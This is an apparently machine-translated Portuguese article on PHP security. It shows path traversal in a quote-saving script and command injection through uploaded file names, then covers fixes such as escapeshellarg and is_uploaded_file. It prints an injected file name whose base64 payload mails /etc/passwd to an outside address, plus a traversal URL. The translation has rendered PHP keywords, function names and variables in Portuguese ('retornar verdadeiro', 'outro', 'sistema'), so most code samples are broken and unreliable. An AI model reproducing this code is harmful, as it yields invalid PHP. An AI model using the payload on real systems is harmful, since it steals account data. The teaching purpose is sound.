A importância de prestar atenção às questões de segurança Vendo mais do que tudo
A maneira mais eficaz, embora muitas vezes esquecida, de evitar que os usuários danifiquem maliciosamente seus programas é considerar a possibilidade ao escrever seu código. É importante estar ciente de possíveis problemas de segurança no seu código. Considere o seguinte exemplo de função projetada para simplificar o processo de gravação de arquivos de texto grandes em PHP:
<?php
function write_text($nomedoarquivo, $text="") {
static $open_files = array();
//Se o nome do arquivo estiver vazio, feche todos os arquivos
if ($nome do arquivo == NULL) {
foreach($open_files as $fr) {
fclose($fr);
}
retornar verdadeiro;
}
$índice = md5($nome do arquivo);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($nomedoarquivo, "a+");
if(!$open_files[$index]) retorna falso;
}
fputs($open_files[$index], $texto);
retornar verdadeiro;
}
?>
Esta função usa dois parâmetros padrão, o nome do arquivo e o texto a ser gravado no arquivo.
A função primeiro verificará se o arquivo já está aberto; nesse caso, o identificador do arquivo original será usado. Caso contrário, será criado por si só. Em ambos os casos, o texto é gravado no arquivo.
Se o nome do arquivo passado para a função for NULL, todos os arquivos abertos serão fechados. Um exemplo de uso é fornecido abaixo.
Esta função será muito mais clara e legível se o desenvolvedor gravar vários arquivos de texto no formato a seguir.
Vamos supor que esta função exista em um arquivo separado que contém o código que chama esta função.
Abaixo está um programa desse tipo, vamos chamá-lo de quotes.php:
<html><body>
<form action="<?=$_SERVER['PHP_SELF']?>" método="get">
Escolha a natureza da cotação:
<select name="quote" size="3">
<option value="funny">Citações humorísticas</option>
<option value=" Political">Citações políticas</option>
<option value="love">Citações românticas</option>
</select><br />
A citação: <input type="text" name="quote_text" size="30" />
<input type="submit" value="Salvar cotação" />
</form>
</body></html>
<?php
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (write_text($nome do arquivo, $quote_msg)) {
echo "<center><hr><h2>Cotação salva!</h2></center>";
} outro {
echo "<center><hr><h2>Erro ao escrever citação</h2></center>";
}
escrever_texto(NULO);
?>
Como você pode ver, o desenvolvedor usou a função write_text() para criar um sistema onde os usuários podem enviar suas citações favoritas, que serão armazenadas em um arquivo de texto.
Infelizmente, os desenvolvedores podem não ter pensado que este programa também permite que usuários mal-intencionados comprometam a segurança do servidor web.
Talvez agora você esteja coçando a cabeça e se perguntando como esse programa aparentemente inocente poderia apresentar um risco à segurança.
Se você não sabe, considere o seguinte URL e lembre-se de que este programa se chama quotes.php:
http://www.somewhere.com/fun/quotes.php?quote= Different_file.dat
"e_text=garbage+data Quando isso URL é passado para O que acontecerá ao usar o servidor web?
Obviamente, quotes.php será executado, mas em vez de escrever uma citação em um dos três arquivos que queremos, um novo arquivo chamado different_file.dat será criado contendo a string trash data .
Obviamente, este não é um comportamento desejado. Um usuário mal-intencionado poderia acessar o arquivo de senha do UNIX e criar uma conta especificando aspas como ../../../etc/passwd (embora isso exija que o servidor web execute o programa como superusuário). . Se for assim, você deve parar de ler e consertar agora).
Se /home/web/quotes/ estiver acessível através de um navegador, talvez o problema de segurança mais sério com este programa seja que ele permite que qualquer usuário escreva e execute programas PHP arbitrários. Isso causará problemas sem fim.
Aqui estão algumas soluções. Se você precisar apenas gravar alguns arquivos em um diretório, considere usar um array associado para armazenar os nomes dos arquivos. Se o arquivo inserido pelo usuário existir neste array, ele poderá ser gravado com segurança. Outra ideia é remover todos os caracteres que não sejam letras ou números para garantir que não haja separadores de diretório. Outra forma é verificar a extensão do arquivo para garantir que o arquivo não será executado pelo servidor web.
O princípio é simples: como desenvolvedor, você deve pensar mais do que o seu programa faz quando deseja que ele seja executado.
O que acontece se dados ilegais entrarem em um elemento de formulário? Um usuário mal-intencionado poderia fazer com que seu programa se comportasse de maneira não intencional? O que pode ser feito para impedir esses ataques? Seu servidor web e programa PHP são seguros apenas no link de segurança mais fraco, por isso é importante confirmar se esses links potencialmente inseguros são seguros.
Erros comuns relacionados à segurança Aqui estão alguns destaques, uma lista breve e incompleta de erros administrativos e de codificação que podem comprometer a segurança
. Confiar em dados Este é um tema que percorre toda a minha discussão sobre segurança de programas PHP. Você nunca deve confiar em dados que vêm de fora. Quer venha de um formulário enviado pelo usuário, de um arquivo no sistema de arquivos ou de uma variável de ambiente, nenhum dado pode ser simplesmente considerado garantido. Portanto, a entrada do usuário deve ser validada e formatada para garantir a segurança.
Erro 2. Armazenando dados confidenciais em diretórios da Web Todo e qualquer dado confidencial deve ser armazenado em arquivos separados dos programas que precisam usar os dados e em um diretório que não seja acessível pelo navegador. Quando dados confidenciais precisarem ser usados, inclua-os no programa PHP apropriado por meio de instruções include ou require.
Erro 3. Falha em usar as precauções de segurança recomendadas
O Manual do PHP contém um capítulo completo sobre precauções de segurança ao usar e escrever programas PHP. O manual também explica (quase) claramente, com base em estudos de caso, quando existem riscos potenciais de segurança e como minimizá-los. Em outro exemplo, usuários mal-intencionados confiam nos erros de desenvolvedores e administradores para obter as informações de segurança de seu interesse para obter permissões do sistema. Preste atenção a esses avisos e tome as medidas adequadas para reduzir a possibilidade de um usuário mal-intencionado causar danos reais ao seu sistema.
Executando chamadas de sistema em PHP Existem muitas maneiras de realizar chamadas de sistema em PHP.
Por exemplo, system(), exec(), passthru(), popen() e o operador backquote (`) permitem que você execute chamadas de sistema em seu programa. O uso indevido dessas funções abrirá a porta para usuários mal-intencionados executarem comandos do sistema em seu servidor. Assim como no acesso a arquivos, na grande maioria dos casos, as vulnerabilidades de segurança ocorrem devido a entradas externas não confiáveis que levam à execução de comandos do sistema.
Um exemplo de programa usando chamadas de sistema Considere um programa que lida com uploads de arquivos http. Ele usa o programa zip para compactar o arquivo e depois o move para um diretório especificado (o padrão é /usr/local/archives/). O código é o seguinte:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/arquivos/";
if (isset($_FILES['arquivo'])) {
$tmp_name = $_FILES['arquivo']['tmp_name'];
$cmp_name = dirname($_FILES['arquivo']['tmp_name']) .
"/{$_FILES['arquivo']['nome']}.zip";
$nome_do_arquivo = nomebase($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$saída = `$systemcall`;
if (file_exists($cmp_name)) {
$savepath = $store_path.$nome do arquivo;
renomear($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
php echo $_SERVER['PHP_SELF'];
?>"método="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" valor="1048576">
Arquivo para compactar: <input name="file" type="file"><br />
<input type="submit" value="Compactar arquivo">
</form>
Embora este programa pareça bastante simples e fácil de entender, existem algumas maneiras pelas quais um usuário mal-intencionado pode explorá-lo. O problema de segurança mais sério existe quando executamos o comando de compressão (através do operador `), o que pode ser visto claramente na seguinte linha:
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['arquivo']['tmp_name'];
$cmp_name = dirname($_FILES['arquivo']['tmp_name']) .
"/{$_FILES['arquivo']['nome']}.zip";
$nomedoarquivo = nomebase($cmp_name)
;
$systemcall = "$zip $cmp_name $tmp_name";
$saída = `$chamada do sistema`;
...
Engane o programa para que execute comandos shell arbitrários. Embora esse código pareça bastante seguro, ele tem o potencial de permitir que qualquer usuário com permissões de upload de arquivo execute comandos shell arbitrários!
Para ser mais preciso, esta vulnerabilidade de segurança vem da atribuição da variável $cmp_name. Aqui queremos que o arquivo compactado tenha o mesmo nome de arquivo que tinha quando carregado do cliente (com uma extensão .zip). Usamos $_FILES['file']['name'] (que contém o nome do arquivo enviado no cliente).
Em tal situação, usuários mal-intencionados podem atingir seus objetivos carregando um arquivo contendo caracteres que tenham um significado especial para o sistema operacional subjacente. Por exemplo, o que acontece se o usuário criar um arquivo vazio conforme mostrado abaixo? (do prompt do shell do UNIX)
[usuário@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistema($código);';"
Este comando criará um arquivo com o seguinte nome:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistema($código);';
Parece estranho? Vamos dar uma olhada neste "nome de arquivo" e vemos que ele se parece muito com o comando que faz com que a versão CLI do PHP execute o seguinte código:
<?php
$código=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistema($código);
?>
Se você exibir o conteúdo da variável $code por curiosidade, descobrirá que ela contém [email protected] < /etc/passwd. Se o usuário passar esse arquivo para um programa e o PHP executar uma chamada de sistema para compactar o arquivo, o PHP executará a seguinte instrução:
/usr/bin/zip /tmp/;php -r
'$código=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistema($código);';.zip /tmp/phpY4iatI
Surpreendentemente, o comando acima não é uma afirmação, mas 3! Como o shell do UNIX interpreta um ponto e vírgula (;) como o final de um comando do shell e o início de outro comando, exceto quando o ponto e vírgula estiver entre aspas, o system() do PHP será executado da seguinte forma:
[user@localhost]# / usr /bin/zip /tmp/
[usuário@localhost]# php -r
'$código=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistema($código);'
[usuário@localhost]#.zip /tmp/phpY4iatI
Como você pode ver, esse programa PHP aparentemente inofensivo de repente se transformou em um backdoor que pode executar comandos shell arbitrários e outros programas PHP. Embora este exemplo funcione apenas em sistemas que possuem a versão CLI do PHP no caminho, existem outras maneiras de obter o mesmo efeito usando esta técnica.
A chave aqui
para combater ataques de chamadas de sistema
ainda é que a entrada do usuário, independentemente do conteúdo, não deve ser confiável!A questão permanece como evitar situações semelhantes ao usar chamadas de sistema (além de não usá-las). Para combater esse tipo de ataque, o PHP oferece duas funções, escapeshellarg() e escapeshellcmd().
A função escapeshellarg() foi projetada para remover caracteres potencialmente perigosos da entrada do usuário usados como argumentos para comandos do sistema (no nosso caso, o comando zip). A sintaxe desta função é a seguinte:
escapeshellarg($string)
$string é a entrada usada para filtragem e o valor de retorno são os caracteres filtrados. Quando executada, esta função adicionará aspas simples ao redor dos caracteres e escapará (precederá) as aspas simples na string original. Em nossa rotina, se adicionarmos estas linhas antes de executar o comando do sistema:
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
Podemos evitar esses riscos de segurança garantindo que o parâmetro passado para a chamada do sistema foi processado e é uma entrada do usuário sem outra intenção.
escapeshellcmd() é semelhante a escapeshellarg(), exceto que apenas escapa caracteres que têm significado especial para o sistema operacional subjacente. Ao contrário de escapeshellarg(), escapeshellcmd() não lida com espaços em branco no conteúdo. Por exemplo, quando escapado usando escapeshellcmd(), os caracteres
$string = "'olá, mundo!';evilcommand"
Se tornará:
'olá, mundo'; comando do mal
Se esta string for usada como argumento para uma chamada de sistema, ela ainda não fornecerá resultados corretos porque o shell irá interpretá-la como dois argumentos separados: 'hello and world';evilcommand. Se o usuário inserir parte da lista de argumentos para uma chamada do sistema, escapeshellarg() é uma escolha melhor.
Protegendo arquivos carregados Ao longo deste artigo, concentrei-me exclusivamente em como as chamadas do sistema podem ser sequestradas por usuários mal-intencionados para produzir resultados indesejáveis.
No entanto, há outro risco potencial de segurança que vale a pena mencionar aqui. Olhando novamente para nossa rotina, concentre sua atenção na seguinte linha:
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['arquivo']['tmp_name']) .
"/{$_FILES['arquivo']['nome']}.zip";
$nomedoarquivo = nomebase($cmp_name);
if (file_exists($tmp_name)) {
Um risco potencial à segurança causado pelas linhas de código no trecho acima é que na última linha determinamos se o arquivo enviado realmente existe (ele existe com o nome de arquivo temporário $tmp_name).
Este risco de segurança não vem do PHP em si, mas do fato de que o nome do arquivo armazenado em $tmp_name não é realmente um arquivo, mas aponta para o arquivo que o usuário mal-intencionado deseja acessar, como /etc/passwd.
Para evitar que isso aconteça, o PHP fornece a função is_uploaded_file(), que é igual a file_exists(), mas também fornece uma verificação se o arquivo foi realmente carregado do cliente.
Na maioria dos casos, você precisará mover o arquivo carregado. O PHP fornece a função move_uploaded_file() para trabalhar com is_uploaded_file(). Esta função é usada para mover arquivos como rename(), exceto que irá verificar automaticamente para garantir que o arquivo movido é o arquivo carregado antes da execução. A sintaxe de move_uploaded_file() é a seguinte:
move_uploaded_file($filename, $destination);
Quando executada, a função moverá o arquivo carregado $filename para o destino $destination e retornará um valor booleano para indicar se a operação foi bem-sucedida.
Nota: John Coggeshall é consultor e autor de PHP. Já se passaram cerca de 5 anos desde que ele começou a dormir com PHP.
Texto original em inglês: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html